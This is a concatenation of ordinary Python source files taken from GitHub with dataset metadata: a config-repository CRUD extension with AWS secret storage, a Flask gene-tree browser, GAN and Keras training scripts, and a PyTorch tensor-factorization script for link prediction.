open(self.source, \"w\", encoding=self.encoding) as file_:\n for k, v in self.data.items():\n file_.write(f\"{k}={v}\\n\")\n\n\nclass CRUDRepositoryIni(RepositoryIni, CRUDBaseRepositoryMixin):\n \"\"\"\n CRUD extension of python-decouple's RepositoryIni class.\n\n Works the same as its parent method, but allows you to set, update, and delete keys.\n \"\"\"\n\n def __init__(self, source, encoding=DEFAULT_ENCODING):\n self.source = source\n self.encoding = encoding\n super().__init__(source, encoding)\n\n def list(self):\n if self.parser.has_section(self.SECTION):\n return self.parser.options(self.SECTION)\n else:\n return []\n\n def set(self, key, value):\n if not isinstance(value, str):\n try:\n value = json.dumps(value)\n except TypeError:\n raise TypeError(\"Error: Value must be a string or a JSON serializable object\")\n\n self.parser.set(self.SECTION, key, value)\n with open(self.source, \"w\", encoding=self.encoding) as file_:\n self.parser.write(file_)\n\n def delete(self, key):\n if self.parser.has_option(self.SECTION, key):\n self.parser.remove_option(self.SECTION, key)\n with open(self.source, \"w\", encoding=self.encoding) as file_:\n self.parser.write(file_)\n\n\nclass CRUDBaseAWSRepositoryMixin:\n def set(self, key, value):\n # Check value\n if not isinstance(value, str):\n try:\n value = json.dumps(value)\n except TypeError:\n raise TypeError(\"Error: Value must be a string or a JSON serializable object\")\n\n self.data[key] = value\n self._save_data()\n\n def delete(self, key):\n if key in self.data:\n del self.data[key]\n self._save_data()\n\n\nclass CRUDRepositoryAWSSecrets(RepositoryAWSSecrets, CRUDBaseAWSRepositoryMixin, CRUDBaseRepositoryMixin):\n \"\"\"\n CRUD extension of our own RepositoryAWSSecrets class.\n\n Works the same as its parent method, but allows you to set, update, and delete keys.\n \"\"\"\n\n def _save_data(self):\n self.client.put_secret_value(SecretId=self.secret_name, SecretString=json.dumps(self.data))\n\n\nclass CRUDRepositoryAWSParameterStore(RepositoryAWSParameterStore, CRUDBaseAWSRepositoryMixin, CRUDBaseRepositoryMixin):\n \"\"\"\n CRUD extension of our own RepositoryAWSParameterStore class.\n\n Works the same as its parent method, but allows you to set, update, and delete keys.\n \"\"\"\n\n def _save_data(self):\n self.client.put_parameter(Name=self.parameter_store_name, Value=json.dumps(self.data), Type=\"SecureString\", Overwrite=True)\n", "repo_name": "ralamosm/decouple-extended", "sub_path": "decouple_extended/crud.py", "file_name": "crud.py", "file_ext": "py", "file_size_in_byte": 5301, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "decouple.Config", "line_number": 13, "usage_type": "name"}, {"api_name": "extensions.ConfigByModel", "line_number": 49, "usage_type": "name"}, {"api_name": "decouple.RepositoryEnv", "line_number": 64, "usage_type": "name"}, {"api_name": "decouple.DEFAULT_ENCODING", "line_number": 71, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 79, "usage_type": "call"}, {"api_name": "decouple.RepositoryIni", "line_number": 96, "usage_type": "name"}, {"api_name": "decouple.DEFAULT_ENCODING", "line_number": 103, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 117, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 137, "usage_type": "call"}, {"api_name": "repositories.RepositoryAWSSecrets", "line_number": 150, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 158, "usage_type": "call"}, {"api_name": "repositories.RepositoryAWSParameterStore", "line_number": 161, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 169, "usage_type": "call"}]} {"seq_id": "73828461660", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Nov 19 11:52:37 2021\n\n@author: hannes\n\"\"\"\n\nfrom flask import Flask, redirect, url_for, render_template, request, session, flash, json\nfrom datetime import timedelta\nimport pandas as pd\nimport time\nfrom datetime import datetime\n\n#create a class for permanent storage of values\nclass data:\n def __init__(self):\n self.df = {}\n self.settings = {}\n\n#initiate class\ndata = data() \n\n#create app\napp = Flask(__name__)\n\n#define landing page\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef home():\n #here you can do something before rendering\n title = 'GENOMEBROWSER'\n return render_template('index.html', bigtitle=title)\n\n\n#function to get the genes present in folder\ndef get_all_genenames():\n import os\n \n #get all the files ending with .png from folder\n genefiles=[]\n\n for files in os.walk(\"static/treefiles\"):\n print(files)\n for file in files[2]:\n \n name=str(file)\n if name.endswith(\"png\"):\n genefiles.append(name)\n \n #get the name of the gene out of the file names (get rid of tree. and .png) \n genenames=[]\n for filename in genefiles:\n genex= filename.split(\".\")[1]\n genenames.append(genex)\n \n \n return genenames\n\n#store the genenames in a variable\nlyst_genenames = get_all_genenames()\n\n\n#define gene input square and redirect to its url\n@app.route(\"/\", methods =[\"POST\", \"GET\"])\ndef Gene_name(Gene_name):\n if request.method == \"POST\":\n gene = request.form[\"nm\"]\n \n return redirect(url_for(\"gene_phylo\", Gene = gene))\n else:\n return render_template(\"genenamedropdown.html\", lyst = lyst_genenames)\n\n#, list1 = json.dumps(Gene_name)\n#redirect to requested site\n@app.route(\"/image/\")\ndef gene_phylo(Gene):\n\n return render_template('gene.html', name = Gene)\n\n#run the app\nif __name__ == '__main__':\n app.run(debug=True, port=5000)\n \n \n\n", "repo_name": "caldetas/bio-294", "sub_path": "treebrowser/treebrowser.py", "file_name": "treebrowser.py", "file_ext": "py", "file_size_in_byte": 2005, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Flask", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 66, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 78, "usage_type": "call"}]} {"seq_id": "34149627128", "text": "from random import sample\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom tqdm import tqdm\nimport cv2\nimport torch\nfrom torch.utils.data import RandomSampler, DataLoader, Subset\nfrom preprocess.dataset import Dataset\nfrom models.generator import Generator\nfrom models.discriminator import Discriminator\nfrom torch.utils.data import DataLoader\nfrom models.gan import train_step,test_step\nfrom config import DEFAULT_CONFIG\nfrom preprocess.color_domain import random_mask\n\n#Load config\nconfig = DEFAULT_CONFIG\nnum_samples,n_channels,lr,n_epochs,batch_size = config['NUM_SAMPLES']\\\n ,config['NUM_CHANNELS'],config['LR'],config['N_EPOCHS'],config['BATCH_SIZE']\n\n#Load dataset\nflist = \"../anime_face\"\ndataset = Dataset(config,flist,training=True)\nsample_ds = Subset(dataset,np.arange(num_samples))\ntrain_size = int(0.9 * len(sample_ds))\nval_size = len(sample_ds) - train_size\ntrain_ds,val_ds = torch.utils.data.random_split(sample_ds, [train_size, val_size])\n\n#Hyperparameters\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n\ngen = Generator(n_channels).to(device)\ndisc = Discriminator(n_channels-1,64).to(device)\ng_opt = torch.optim.Adam(gen.parameters(), lr=lr, betas=(0.5, 0.999))\nd_opt = torch.optim.Adam(disc.parameters(), lr=lr, betas=(0.5, 0.999))\n\n#This function generate an image and plot it\ndef generate_image(gen,imgs,mode,epoch):\n plt.figure(figsize=(10,10))\n for i in range(imgs.shape[0]):\n plt.subplot(1,imgs.shape[0],i+1)\n img = torch.unsqueeze(imgs[i],0)\n im = gen(img).detach().cpu()\n im = im.numpy().squeeze()\n im = im.transpose(1,2,0)\n im = im.clip(0,1)\n plt.axis('off')\n im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)\n plt.imshow(im)\n plt.savefig(f'results/test{mode}{epoch}.png')\n plt.close()\n\ndef train(n_epochs,train_ds,val_ds,gen,disc,g_opt,d_opt,device,batch_size,checkpoint=10,mode=0):\n gen.load_state_dict(torch.load('weights/gen1.pt'))\n disc.load_state_dict(torch.load('weights/disc1.pt'))\n for epoch in range(n_epochs):\n progress_bar = tqdm(DataLoader(train_ds,batch_size=batch_size))\n val_data = DataLoader(val_ds,batch_size=batch_size)\n if mode == 0:\n for _,(img,img_gray,edge,color_domain) in enumerate(progress_bar):\n img,img_gray,edge,color_domain = img.to(device),img_gray.to(device),edge.to(device),color_domain.to(device)\n M = torch.from_numpy(random_mask(img)).to(device)\n x = torch.cat((edge,M*img),dim=1)\n x = x.float().to(device)\n y = img.to(device)\n d_loss,g_loss = train_step(gen,disc,x,y,d_opt,g_opt,M,device)\n progress_bar.set_description(f\"\\r[{epoch}/{n_epochs}] d_loss: {d_loss:.3f}, g_loss: {g_loss:.3f}\")\n d_loss_val,g_loss_val = 0,0\n for _,(img,img_gray,edge,color_domain) in enumerate(val_data):\n img,img_gray,edge,color_domain = img.to(device),img_gray.to(device),edge.to(device),color_domain.to(device)\n M = torch.from_numpy(random_mask(img)).to(device)\n x = torch.cat((edge,M*img),dim=1)\n x = x.float().to(device)\n y = img.to(device)\n d_loss_val += train_step(gen,disc,x,y,d_opt,g_opt,M,device)[0]\n g_loss_val += train_step(gen,disc,x,y,d_opt,g_opt,M,device)[1]\n print(f\"\\r[Validation_loss] d_loss: {d_loss_val/len(val_ds):.3f}, g_loss: {g_loss_val/len(val_ds):.3f}\")\n torch.save(gen.state_dict(),f\"weights/gen{mode}.pt\")\n torch.save(disc.state_dict(),f\"weights/disc{mode}.pt\")\n generate_image(gen,x,mode,epoch+checkpoint)\n if mode == 1:\n for _,(img,img_gray,edge,color_domain) in enumerate(progress_bar):\n img,img_gray,edge,color_domain = img.to(device),img_gray.to(device),edge.to(device),color_domain.to(device)\n M = torch.ones_like(img).to(device)\n x = torch.cat((edge,color_domain),dim=1)\n x = x.float().to(device)\n y = img.to(device)\n d_loss,g_loss = train_step(gen,disc,x,y,d_opt,g_opt,M,device)\n progress_bar.set_description(f\"\\r[{epoch}/{n_epochs}] d_loss: {d_loss:.3f}, g_loss: {g_loss:.3f}\")\n d_loss_val,g_loss_val = 0,0\n for _,(img,img_gray,edge,color_domain) in enumerate(val_data):\n img,img_gray,edge,color_domain = img.to(device),img_gray.to(device),edge.to(device),color_domain.to(device)\n M = torch.ones_like(img).to(device)\n x = torch.cat((edge,color_domain),dim=1)\n x = x.float().to(device)\n y = img.to(device)\n d_loss_val += train_step(gen,disc,x,y,d_opt,g_opt,M,device)[0]\n g_loss_val += train_step(gen,disc,x,y,d_opt,g_opt,M,device)[1]\n print(f\"\\r[Validation_loss] d_loss: {d_loss_val/len(val_ds):.3f}, g_loss: {g_loss_val/len(val_ds):.3f}\")\n #torch.save(gen.state_dict(),f\"weights/gen{mode}.pt\")\n #torch.save(disc.state_dict(),f\"weights/disc{mode}.pt\")\n #generate_image(gen,x,mode,epoch+checkpoint)\n if mode == 2:\n #Infer previous mode on dataset and train on edge + infered images\n pass\n\ntrain(n_epochs,train_ds,val_ds,gen,disc,g_opt,d_opt,device,batch_size,mode=0)\n\ndef test(path):\n test_ds = Dataset(config,path,training=False)\n imgs,_,edges,cmap = next(iter(DataLoader(test_ds,batch_size=1)))\n gen.load_state_dict(torch.load('weights/gen1.pt'))\n cmap = cmap[0].squeeze().to(device)\n edge = edges[0].to(device)\n res = torch.cat((edge,cmap),dim=0)\n res = torch.unsqueeze(res,0)\n fake = gen(res).detach().cpu()\n im = fake.numpy().squeeze()\n im = im.transpose(1,2,0)\n im = im.clip(0,1)\n plt.axis('off')\n im = cv2.cvtColor(im, cv2.COLOR_BGR2RGB)\n cmap = cv2.cvtColor(cmap.detach().cpu().numpy().squeeze().transpose(1,2,0), cv2.COLOR_BGR2RGB)\n plt.subplot(131), plt.imshow(im), plt.title('Result')\n plt.subplot(132), plt.imshow(cmap), plt.title('Colormap')\n plt.subplot(133), plt.imshow(edge.detach().cpu().numpy().transpose(1,2,0)), plt.title('Edges')\n plt.show()\n\n#test(\"test_img/3.png\")", "repo_name": "Rubiksman78/Sketch2Waifu", "sub_path": "trainer.py", "file_name": "trainer.py", "file_ext": "py", "file_size_in_byte": 6270, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.DEFAULT_CONFIG", "line_number": 17, "usage_type": "name"}, {"api_name": "preprocess.dataset.Dataset", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.utils.data.Subset", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.utils.data.random_split", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 30, "usage_type": "attribute"}, {"api_name": "models.generator.Generator", "line_number": 33, "usage_type": "call"}, {"api_name": "models.discriminator.Discriminator", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 35, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 36, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "torch.unsqueeze", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 49, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 49, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.load", "line_number": 55, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 56, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 63, "usage_type": "call"}, {"api_name": "preprocess.color_domain.random_mask", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 64, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 72, "usage_type": "call"}, {"api_name": "preprocess.color_domain.random_mask", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 73, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 76, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 86, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 95, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 98, "usage_type": "call"}, {"api_name": "models.gan.train_step", "line_number": 99, "usage_type": "call"}, {"api_name": "preprocess.dataset.Dataset", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 112, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 116, "usage_type": "call"}, {"api_name": "torch.unsqueeze", "line_number": 117, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 123, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 124, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 124, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 125, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 125, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 126, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 126, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 127, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 127, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 128, "usage_type": "name"}]} {"seq_id": "31686143996", "text": "from keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras import backend as K\nimport os\nimport subprocess\nimport tensorflow as tf\n\nfrom create_nn_model import create_nn_model\n\n# dimensions of our images.\nimg_width, img_height = 150, 150\n\ntrain_data_dir = 'data/train'\nvalidation_data_dir = 'data/validation'\nnb_train_samples = 5005\nnb_validation_samples = 218\nepochs = 1\nbatch_size = 16\n\n\nif K.image_data_format() == 'channels_first':\n input_shape = (3, img_width, img_height)\nelse:\n input_shape = (img_width, img_height, 3)\n\nnn_model = create_nn_model(input_shape, img_width, img_height)\n\nnn_model.compile(loss='binary_crossentropy', optimizer=tf.train.AdamOptimizer(), metrics=['accuracy'])\n\n\ntrain_datagen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\n# this is the augmentation configuration we will use for testing:\n# only rescaling\ntest_datagen = ImageDataGenerator(rescale=1. / 255)\n\ntrain_generator = train_datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size,\n class_mode='binary')\n\nvalidation_generator = test_datagen.flow_from_directory(\n validation_data_dir,\n target_size=(img_width, img_height),\n batch_size=batch_size,\n class_mode='binary')\n\n\ndef returnCompiledModel():\n return nn_model\n\ndef returnTrainGenerator():\n return train_generator\n\ndef returnValidationGenerator():\n return validation_generator", "repo_name": "neuroon-engineering/FlowAPI", "sub_path": "new_train_model.py", "file_name": "new_train_model.py", "file_ext": "py", "file_size_in_byte": 1628, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "keras.backend.image_data_format", "line_number": 23, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 23, "usage_type": "name"}, {"api_name": "create_nn_model.create_nn_model", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.train.AdamOptimizer", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 30, "usage_type": "attribute"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 41, "usage_type": "call"}]} {"seq_id": "37527508726", "text": "import numpy as np\nimport pandas as pd\nfrom numba import jit\nimport matplotlib.pyplot as plt\nfrom torch.optim.lr_scheduler import StepLR\n\nimport pickle\nimport time\nfrom ipypb import track\nimport argparse\n\nimport torch\n\nfrom t_alg import mttcrp, mttcrp1, get_elem_deriv_tensor, factors_to_tensor, gcp_grad, multi_ind_to_indices, indices_to_multi_ind\n\nfrom samplings import give_ns, generate_data\n\nfrom elementwise_grads import bernoulli_logit_loss, bernoulli_logit_loss_grad\n\nfrom general_functions1 import sqrt_err_relative, check_coo_tensor, gen_coo_tensor\nfrom general_functions1 import create_filter, hr\n\nfrom decimal import Decimal\nfrom timeit import default_timer as timer\n\n#import CP_ALS3.CP_ALS3 as cp\n\n#with open('test_filter.pkl', 'rb') as f:\n #test_filter = pickle.load(f)\n \nwith open('/notebook/Relations_Learning/test_filter.pkl', 'rb') as f:\n test_filter = pickle.load(f)\n \nwith open('/notebook/Relations_Learning/valid_filter.pkl', 'rb') as f:\n valid_filter = pickle.load(f)\n \nimport numpy as np\n\ndef check_early_stop(target_score, previous_best, margin=0, max_attempts=1):\n if (margin >= 0) and (target_score < previous_best + margin):\n check_early_stop.fail_count += 1\n else:\n check_early_stop.fail_count = 0\n if check_early_stop.fail_count >= max_attempts:\n print('Interrupted due to early stopping condition.')\n raise StopIteration\n\n\ndef gcp_grad(coo, val, shape, a, b, l2, loss_function, loss_function_grad, device):\n \"\"\"\n GCP loss function and gradient calculation.\n All the tensors have the same coordinate set: coo_tensor.\n \"\"\"\n\n # Construct sparse kruskal tensor\n kruskal_val = torch.sum((a[coo[:,0], :] * b[coo[:,1], :] * a[coo[:,2], :]),1)\n #factors_to_tensor(coo_tensor, vals, a, b, c)\n \n # Calculate mean loss on known entries\n loss = loss_function(val, kruskal_val)\n # Compute the elementwise derivative tensor\n deriv_tensor_val = loss_function_grad(val, kruskal_val)\n \n #print (\"in qcp_grad in deriv_tensor_val \", deriv_tensor_val)\n # Calculate gradients w.r.t. a, b, c factor matrices\n g_a = mttcrp1(coo, deriv_tensor_val, shape, 0, b, a, device)\n g_b = mttcrp1(coo, deriv_tensor_val, shape, 1, a, a, device)\n g_c = mttcrp1(coo, deriv_tensor_val, shape, 2, a, b, device)\n \n #print (\"\\n\\n\")\n \n \n # Add L2 regularization\n if l2 != 0:\n g_a += l2 * a[coo[0], :]\n g_b += l2 * b[coo[1], :]\n g_c += l2 * c[coo[2], :]\n \n return loss, g_a, g_b, g_c\n \n\n\ndef main():\n print (\"loaded 0\", flush = True)\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dim\", type=int, default=200, nargs=\"?\",\n help=\"set desored emebdding dimention\")\n\n args = parser.parse_args()\n dim = args.dim\n\n path_data = \"/notebook/Relations_Learning/Link_Prediction_Data/FB15K237/\"\n entity_list = pickle.load(open(path_data + 'entity_list', 'rb'))\n relation_list = pickle.load(open(path_data + 'relation_list', 'rb'))\n\n train_triples = pickle.load(open(path_data + 'train_triples', 'rb'))\n valid_triples = pickle.load(open(path_data + 'valid_triples', 'rb'))\n test_triples = pickle.load(open(path_data + 'test_triples', 'rb'))\n train_valid_triples = pickle.load(open(path_data + 'train_valid_triples', 'rb'))\n\n entity_map = pickle.load(open(path_data + 'entity_map', 'rb'))\n relation_map = pickle.load(open(path_data + 'relation_map', 'rb'))\n\n all_triples = train_valid_triples + test_triples\n\n\n print (\"loaded 1\", flush = True)\n num_epoch = 20\n rank = dim \n lr = 1e-2\n seed = 13 \n hm = 1000\n how_many = 2\n l2 = 0\n \n values = [1] * len(train_triples)\n values = np.array(values, dtype=np.int64)\n\n coords = np.array(train_triples, dtype=np.int64)\n nnz = len(train_triples)\n data_shape = (len(entity_list), len(relation_list), len(entity_list))\n \n print (data_shape, flush = True)\n \n \n \n loss_bse = torch.nn.BCELoss()\n\n coo_tensor = coords\n vals = values\n shape = data_shape\n loss_function = bernoulli_logit_loss\n loss_function_grad = bernoulli_logit_loss_grad\n\n from torch.nn.init import xavier_normal_\n from torch import optim\n\n device=torch.device(\"cuda:4\")\n\n num_epoch = 600\n\n random_state = np.random.seed(seed)\n\n batch_size = 56\n init_mind_set = set(indices_to_multi_ind(coo_tensor, shape))\n coo_ns = np.empty((how_many * len(init_mind_set) + vals.size, 3), dtype=np.int64)\n vals_ns = np.empty((how_many * len(init_mind_set) + vals.size,), dtype=np.float64)\n\n err_arr = np.empty((num_epoch*vals_ns.shape[0]//batch_size + 1, ), dtype=np.float64)\n error = 0.0\n it = 0\n\n num_ent = 14541\n dim_emb = 200\n num_rel = 237\n\n a_torch = torch.empty((num_ent, dim_emb), requires_grad = True, device = device)\n xavier_normal_(a_torch)\n a_torch.grad = torch.zeros(a_torch.shape, device = device)\n\n b_torch = torch.empty((num_rel, dim_emb), requires_grad = True, device = device)\n xavier_normal_(b_torch)\n b_torch.grad = torch.zeros(b_torch.shape, device = device)\n\n optimizer = optim.Adam([a_torch, b_torch], lr=1e-3)\n opt = optim.Adam([a_torch, b_torch], lr = 0.0005)\n scheduler = StepLR(optimizer, step_size=2, gamma=0.5)\n\n show_iter = True\n\n start = timer()\n for epoch in range(num_epoch):\n coo_ns, vals_ns = generate_data(coo_tensor, vals, init_mind_set, shape, how_many, epoch)\n coo_ns = torch.tensor(coo_ns, device = device)\n vals_ns = torch.tensor(vals_ns, device = device)\n shuffler = np.random.permutation(vals_ns.shape[0])\n coo_ns = coo_ns[shuffler]\n vals_ns = vals_ns[shuffler]\n #idxs = np.random.permutation(vals_ns.shape[0])\n print (vals_ns.shape[0], batch_size, vals_ns.shape[0]//batch_size)\n err_list = []\n\n a = a_torch.cpu().data.numpy()\n b = b_torch.cpu().data.numpy()\n c = a_torch.cpu().data.numpy()\n print (\"count hr\", flush = True)\n print (hr(valid_filter[:1000], valid_triples[:1000], a, b, c, [1, 3, 10]), flush = True )\n\n for i in range(vals_ns.shape[0]//batch_size):\n end = min(vals_ns.shape[0] - 1, (i+1)*batch_size)\n # Get loss and gradients per sample\n # print (\"coo_ns[i], vals_ns[i]\", coo_ns[i], vals_ns[i])\n end = min(vals_ns.shape[0] - 1, (i+1)*batch_size)\n a_elems = coo_ns[i*batch_size : end, 0]\n b_elems = coo_ns[i*batch_size : end, 1]\n c_elems = coo_ns[i*batch_size : end, 2]\n\n e1 = a_torch[a_elems, :]\n r = b_torch[b_elems, :]\n e2 = a_torch[c_elems, :]\n\n ss = torch.bmm(e1.view(-1, 1, e1.size(1)), r.unsqueeze(2))\n candidate_values = torch.bmm(ss,e2.unsqueeze(1)).squeeze()\n candidate_values = torch.sum(candidate_values, axis=1)\n candidate_values = torch.sigmoid(candidate_values)\n\n\n targets = vals_ns[i*batch_size : end].type(torch.cuda.FloatTensor)\n\n loss = loss_bse(candidate_values, targets)\n loss.backward()\n opt.step()\n opt.zero_grad()\n it += 1\n if show_iter and i%5000 == 0:\n print(\"Iter: \", it, \"; Error: \", loss, flush = True)\n\n #a = a_torch.cpu().data.numpy()\n #b = b_torch.cpu().data.numpy()\n #c = a_torch.cpu().data.numpy()\n #print (\"count hr\")\n #print (hr(valid_filter[:1000], valid_triples[:1000], a, b, c, [1, 3, 10]) )\n\n\n #for i in range(vals_ns.shape[0]//batch_size):\n # Get loss and gradients per sample\n # print (\"coo_ns[i], vals_ns[i]\", coo_ns[i], vals_ns[i])\n #end = min(vals_ns.shape[0] - 1, (i+1)*batch_size)\n #loss, g_a, g_b, g_c = gcp_grad(\n #coo_ns[i*batch_size : end], vals_ns[i*batch_size : end], shape, a_torch, b_torch,\n #l2, loss_function, loss_function_grad, device\n #)\n #err_list.append(loss.cpu().detach().numpy().mean())\n\n #a_elems = coo_ns[i*batch_size : end, 0]\n #b_elems = coo_ns[i*batch_size : end, 1]\n #c_elems = coo_ns[i*batch_size : end, 2]\n\n #a_torch.grad[a_elems, :] = g_a\n #b_torch.grad[b_elems, :] = g_b\n #a_torch.grad[c_elems, :] = g_c\n #optimizer.step()\n #a_torch.grad = torch.zeros(a_torch.shape, device = device)\n #b_torch.grad = torch.zeros(b_torch.shape, device = device)\n\n #err_arr[it] = np.mean(err_list)\n #if show_iter and i%500 == 0:\n #print(\"Iter: \", it, \"; Error: \", np.mean(np.array(err_list)))\n #it += 1 \n\n a = a_torch.cpu().data.numpy()\n b = b_torch.cpu().data.numpy()\n c = a_torch.cpu().data.numpy()\n print (\"count hr\")\n print (hr(valid_filter[:1000], valid_triples[:1000], a, b, c, [1, 3, 10]) )\n end = timer()\n print (end - start)\n np.save('/notebook/Relations_Learning/gpu/gpu_a.npz', a_torch.cpu().data.numpy())\n np.save('/notebook/Relations_Learning/gpu/gpu_b.npz', b_torch.cpu().data.numpy())\n np.save('/notebook/Relations_Learning/gpu/gpu_c.npz', a_torch.cpu().data.numpy())\n\n \n \nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "AlbMLpy/Link-prediction", "sub_path": "gpu/gd_torch.py", "file_name": "gd_torch.py", "file_ext": "py", "file_size_in_byte": 9311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pickle.load", "line_number": 32, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 